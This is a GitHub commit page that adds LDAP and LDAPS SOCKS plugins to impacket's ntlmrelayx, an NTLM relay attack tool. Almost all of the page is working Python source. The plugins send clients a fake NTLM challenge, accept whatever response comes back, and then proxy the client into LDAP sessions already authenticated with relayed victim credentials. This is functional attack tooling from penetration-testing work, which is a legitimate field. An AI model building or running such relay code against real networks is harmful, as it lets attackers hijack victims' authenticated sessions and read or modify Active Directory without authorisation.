Skip to content

Commit

Permalink
Merge pull request #6 from b1two/add-ldap-socks-ntlmrelayx
Browse files Browse the repository at this point in the history
Add support for LDAP and LDAPS in ntlmrelayx SOCKS
  • Loading branch information
GeisericII authored Oct 24, 2024
2 parents 1c9b39c + 6b688a8 commit 99537c7
Show file tree
Hide file tree
Showing 3 changed files with 365 additions and 0 deletions.
7 changes: 7 additions & 0 deletions impacket/examples/ntlmrelayx/clients/ldaprelayclient.py
Original file line number Diff line number Diff line change
Expand Up @@ -156,6 +156,13 @@ def create_authenticate_message(self):
def parse_challenge_message(self, message):
pass

def keepAlive(self):
# Basic LDAP query to keep the connection alive
self.session.search(search_base='',
search_filter='(objectClass=*)',
search_scope='BASE',
attributes=['namingContexts'])

class LDAPSRelayClient(LDAPRelayClient):
PLUGIN_NAME = "LDAPS"
MODIFY_ADD = MODIFY_ADD
Expand Down
286 changes: 286 additions & 0 deletions impacket/examples/ntlmrelayx/servers/socksplugins/ldap.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,286 @@
import calendar
import select
import socket
import struct
import time
import binascii
import threading
from pyasn1.codec.ber import encoder, decoder
from pyasn1.error import SubstrateUnderrunError
from pyasn1.type import univ

from impacket import LOG, ntlm
from impacket.examples.ntlmrelayx.servers.socksserver import SocksRelay
from impacket.ldap.ldap import LDAPSessionError
from impacket.ldap.ldapasn1 import KNOWN_NOTIFICATIONS, LDAPDN, NOTIFICATION_DISCONNECT, BindRequest, BindResponse, LDAPMessage, LDAPString, ResultCode

PLUGIN_CLASS = 'LDAPSocksRelay'

class LDAPSocksRelay(SocksRelay):
PLUGIN_NAME = 'LDAP Socks Plugin'
PLUGIN_SCHEME = 'LDAP'

MSG_SIZE = 4096

def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
SocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)

@staticmethod
def getProtocolPort():
return 389

def initConnection(self):
# No particular action required to initiate the connection
pass

def skipAuthentication(self):
# Faking an NTLM authentication with the client
while True:
messages = self.recv()
LOG.debug(f'Received {len(messages)} message(s)')

for message in messages:
msg_component = message['protocolOp'].getComponent()
if msg_component.isSameTypeWith(BindRequest):
# BindRequest received

if msg_component['name'] == LDAPDN('') and msg_component['authentication'] == univ.OctetString(''):
# First bind message without authentication
# Replying with a request for NTLM authentication

LOG.debug('Got empty bind request')

bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN('NTLM')
bindresponse['diagnosticMessage'] = LDAPString('')
self.send(bindresponse, message['messageID'])

# Let's receive next messages
continue

elif msg_component['name'] == LDAPDN('NTLM'):
# Requested NTLM authentication

LOG.debug('Got NTLM bind request')

# Building the NTLM negotiate message
# It is taken from the smbserver example
negotiateMessage = ntlm.NTLMAuthNegotiate()
negotiateMessage.fromString(msg_component['authentication']['sicilyNegotiate'].asOctets())

# Let's build the answer flags
ansFlags = 0

if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_56:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_56
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_128:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_128
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_KEY_EXCH
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_EXTENDED_SESSIONSECURITY
if negotiateMessage['flags'] & ntlm.NTLMSSP_NEGOTIATE_UNICODE:
ansFlags |= ntlm.NTLMSSP_NEGOTIATE_UNICODE
if negotiateMessage['flags'] & ntlm.NTLM_NEGOTIATE_OEM:
ansFlags |= ntlm.NTLM_NEGOTIATE_OEM

ansFlags |= ntlm.NTLMSSP_NEGOTIATE_VERSION | ntlm.NTLMSSP_NEGOTIATE_TARGET_INFO | ntlm.NTLMSSP_TARGET_TYPE_SERVER | ntlm.NTLMSSP_NEGOTIATE_NTLM | ntlm.NTLMSSP_REQUEST_TARGET

# Generating the AV_PAIRS
# Using dummy data with the client
av_pairs = ntlm.AV_PAIRS()
av_pairs[ntlm.NTLMSSP_AV_HOSTNAME] = av_pairs[
ntlm.NTLMSSP_AV_DNS_HOSTNAME] = 'DUMMY'.encode('utf-16le')
av_pairs[ntlm.NTLMSSP_AV_DOMAINNAME] = av_pairs[
ntlm.NTLMSSP_AV_DNS_DOMAINNAME] = 'DUMMY'.encode('utf-16le')
av_pairs[ntlm.NTLMSSP_AV_TIME] = struct.pack('<q', (
116444736000000000 + calendar.timegm(time.gmtime()) * 10000000))

challengeMessage = ntlm.NTLMAuthChallenge()
challengeMessage['flags'] = ansFlags
challengeMessage['domain_len'] = len('DUMMY'.encode('utf-16le'))
challengeMessage['domain_max_len'] = challengeMessage['domain_len']
challengeMessage['domain_offset'] = 40 + 16
challengeMessage['challenge'] = binascii.unhexlify('1122334455667788')
challengeMessage['domain_name'] = 'DUMMY'.encode('utf-16le')
challengeMessage['TargetInfoFields_len'] = len(av_pairs)
challengeMessage['TargetInfoFields_max_len'] = len(av_pairs)
challengeMessage['TargetInfoFields'] = av_pairs
challengeMessage['TargetInfoFields_offset'] = 40 + 16 + len(challengeMessage['domain_name'])
challengeMessage['Version'] = b'\xff' * 8
challengeMessage['VersionLen'] = 8

# Building the LDAP bind response message
bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN(challengeMessage.getData())
bindresponse['diagnosticMessage'] = LDAPString('')

# Sending the response
self.send(bindresponse, message['messageID'])

else:
# Received an NTLM auth bind request

# Parsing authentication method
chall_response = ntlm.NTLMAuthChallengeResponse()
chall_response.fromString(msg_component['authentication']['sicilyResponse'].asOctets())

username = chall_response['user_name'].decode('utf-16le')
domain = chall_response['domain_name'].decode('utf-16le')
self.username = f'{domain}/{username}'

# Checking for the two formats the domain can have (taken from both HTTP and SMB socks plugins)
if f'{domain}/{username}'.upper() in self.activeRelays:
self.username = f'{domain}/{username}'.upper()
elif f'{domain.split(".", 1)[0]}/{username}'.upper() in self.activeRelays:
self.username = f'{domain.split(".", 1)[0]}/{username}'.upper()
else:
# Username not in active relays
LOG.error('LDAP: No session for %s@%s(%s) available' % (
username, self.targetHost, self.targetPort))
return False

if self.activeRelays[self.username]['inUse'] is True:
LOG.error('LDAP: Connection for %s@%s(%s) is being used at the moment!' % (
self.username, self.targetHost, self.targetPort))
return False
else:
LOG.info('LDAP: Proxying client session for %s@%s(%s)' % (
self.username, self.targetHost, self.targetPort))
self.activeRelays[self.username]['inUse'] = True
self.session = self.activeRelays[self.username]['protocolClient'].session.socket

# Building successful LDAP bind response
bindresponse = BindResponse()
bindresponse['resultCode'] = ResultCode('success')
bindresponse['matchedDN'] = LDAPDN('')
bindresponse['diagnosticMessage'] = LDAPString('')

# Sending successful response
self.send(bindresponse, message['messageID'])

return True

def recv(self):
'''Receive LDAP messages during the SOCKS client LDAP authentication.'''

data = b''
done = False
while not done:
recvData = self.socksSocket.recv(self.MSG_SIZE)
if len(recvData) < self.MSG_SIZE:
done = True
data += recvData

response = []
while len(data) > 0:
try:
message, remaining = decoder.decode(data, asn1Spec=LDAPMessage())
except SubstrateUnderrunError:
# We need more data
remaining = data + self.socksSocket.recv(self.MSG_SIZE)
else:
if message['messageID'] == 0: # unsolicited notification
name = message['protocolOp']['extendedResp']['responseName'] or message['responseName']
notification = KNOWN_NOTIFICATIONS.get(name, "Unsolicited Notification '%s'" % name)
if name == NOTIFICATION_DISCONNECT: # Server has disconnected
self.close()
raise LDAPSessionError(
error=int(message['protocolOp']['extendedResp']['resultCode']),
errorString='%s -> %s: %s' % (notification,
message['protocolOp']['extendedResp']['resultCode'].prettyPrint(),
message['protocolOp']['extendedResp']['diagnosticMessage'])
)
response.append(message)
data = remaining

return response

def send(self, response, message_id, controls=None):
'''Send LDAP messages during the SOCKS client LDAP authentication.'''

message = LDAPMessage()
message['messageID'] = message_id
message['protocolOp'].setComponentByType(response.getTagSet(), response)
if controls is not None:
message['controls'].setComponents(*controls)

data = encoder.encode(message)

return self.socksSocket.sendall(data)

def tunnelConnection(self):
'''Charged of tunneling the rest of the connection.'''

self.stop_event = threading.Event()
self.server_is_gone = False

# Client to Server
c2s = threading.Thread(target=self.recv_from_send_to, args=(self.socksSocket, self.session, False))
c2s.daemon = True
# Server to Client
s2c = threading.Thread(target=self.recv_from_send_to, args=(self.session, self.socksSocket, True))
s2c.daemon = True

c2s.start()
s2c.start()

# Should wait until the client or server closes connection
c2s.join()
s2c.join()

if self.server_is_gone:
# There was an error with the server socket
# Raising an exception so that the socksserver.py module can remove the current relay
# from the available ones
raise BrokenPipeError('Broken pipe: LDAP server is gone')

# Free the relay so that it can be reused
self.activeRelays[self.username]['inUse'] = False

LOG.debug('Finished tunnelling')

return True

def recv_from_send_to(self, recv_from: socket.socket, send_to: socket.socket, recv_from_is_server: bool):
'''
Simple helper that receives data on the recv_from socket and sends it to send_to socket.
The recv_from_is_server allows to properly stop the relay when the server closes connection.
'''

while not self.stop_event.is_set():
is_ready, a, b = select.select([recv_from], [], [], 1.0)

if not is_ready:
continue

try:
data = recv_from.recv(LDAPSocksRelay.MSG_SIZE)
except Exception:
if recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

LOG.debug(f'Received {len(data)} byte(s) from {"server" if recv_from_is_server else "client"}')

if data == b'':
if recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

try:
send_to.send(data)
except Exception:
if not recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

72 changes: 72 additions & 0 deletions impacket/examples/ntlmrelayx/servers/socksplugins/ldaps.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,72 @@
import select
from impacket import LOG
from impacket.examples.ntlmrelayx.servers.socksplugins.ldap import LDAPSocksRelay
from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin
from OpenSSL import SSL

PLUGIN_CLASS = "LDAPSSocksRelay"

class LDAPSSocksRelay(SSLServerMixin, LDAPSocksRelay):
PLUGIN_NAME = 'LDAPS Socks Plugin'
PLUGIN_SCHEME = 'LDAPS'

def __init__(self, targetHost, targetPort, socksSocket, activeRelays):
LDAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays)

@staticmethod
def getProtocolPort():
return 636

def skipAuthentication(self):
LOG.debug('Wrapping client connection in TLS/SSL')
self.wrapClientConnection()

# Skip authentication using the same technique as LDAP
if not LDAPSocksRelay.skipAuthentication(self):
# Shut down TLS connection
self.socksSocket.shutdown()
return False

return True

def recv_from_send_to(self, recv_from, send_to, recv_from_is_server: bool):
'''
Simple helper that receives data on the recv_from socket and sends it to send_to socket.
- The recv_from_is_server allows to properly stop the relay when the server closes connection.
- This method is called by the tunnelConnection method implemented for LDAPSocksRelay, it is
redefined here to support TLS.
'''

while not self.stop_event.is_set():
if recv_from.pending() == 0 and not select.select([recv_from], [], [], 1.0)[0]:
# No data ready to be read from recv_from
continue

try:
data = recv_from.recv(LDAPSocksRelay.MSG_SIZE)
except Exception:
if recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

LOG.debug(f'Received {len(data)} bytes from {"server" if recv_from_is_server else "client"}')

if data == b'':
if recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

try:
send_to.send(data)
except Exception:
if not recv_from_is_server:
self.server_is_gone = True

self.stop_event.set()
return

0 comments on commit 99537c7

Please sign in to comment.